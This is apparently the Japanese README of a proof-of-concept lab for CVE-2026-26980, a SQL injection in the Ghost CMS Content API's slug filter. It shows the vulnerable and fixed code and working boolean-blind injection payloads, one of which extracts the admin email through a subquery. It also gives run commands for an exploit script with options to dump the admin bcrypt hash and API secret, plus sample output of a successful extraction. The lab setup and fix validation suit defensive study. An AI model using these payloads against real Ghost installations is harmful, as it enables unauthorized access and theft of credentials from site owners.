// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (脆弱)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQLは引用符をリテラル文字として通過させる

CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

// 修正済み
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

# クローンしてラボに入る
git clone <this-repo> && cd ghost-cve-2026-26980

# Python依存関係をインストール
pip install -r requirements.txt

# 脆弱なGhostインスタンスを起動 (6.18.0 + MySQL 8)
docker compose up -d

# Ghostの初期化に約45秒待ってから、エクスプロイトを実行
python3 exploit.py --url http://localhost:2368

# パッチ適用済みのGhost 6.19.1もポート2369で起動
docker compose --profile fixed up -d

# 約45秒待ってから、修正がインジェクションをブロックすることを確認
python3 exploit.py --url http://localhost:2369 --validate-fix

bash validate.sh

docker compose --profile fixed down -v

usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            Ghost URL (デフォルト: http://localhost:2368)
  --validate-fix       ターゲットが脆弱でないことを確認
  --extract-password   管理者bcryptハッシュも抽出
  --extract-api-key    管理者APIシークレットも抽出
  --content-key KEY    セットアップをスキップし、このContent APIキーを直接使用
  -v, --verbose        クエリごとのオラクル結果を表示

====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================

[*] Ghostがhttp://localhost:2368で準備できるのを待機中
[*] Ghostをセットアップ中 (admin: [email protected])
[+] セットアップ完了 — セッションを確立中
[+] ログインしました
[+] Content APIキー: ad63c06a71457583ea58f050c1
[+] アンカースラッグ: news

[*] フェーズ1 — ブールブラインド検証
  CASE WHEN 1=1:  200 (TRUE)
  CASE WHEN 1=0:  500 (FALSE)
  [+] ブールオラクル確認済み — 脆弱

[*] フェーズ2a — 管理者メールの抽出
  管理者メールの長さを測定中... 21文字
  抽出中: [email protected]
  [+] メール: [email protected]

============================================================
  エクスプロイトサマリー
============================================================
  ターゲット:     http://localhost:2368
  CVE:           CVE-2026-26980
  Contentキー:   ad63c06a71457583ea58f050c1
  管理者メール:   [email protected]
============================================================

.
├── README.md              # このファイル
├── docker-compose.yml     # Ghost 6.18.0 (脆弱) + 6.19.1 (修正済み) with MySQL 8
├── exploit.py             # 完全なPoC: セットアップ、検証、抽出
├── validate.sh            # エンドツーエンド検証ラッパー
└── requirements.txt       # Python依存関係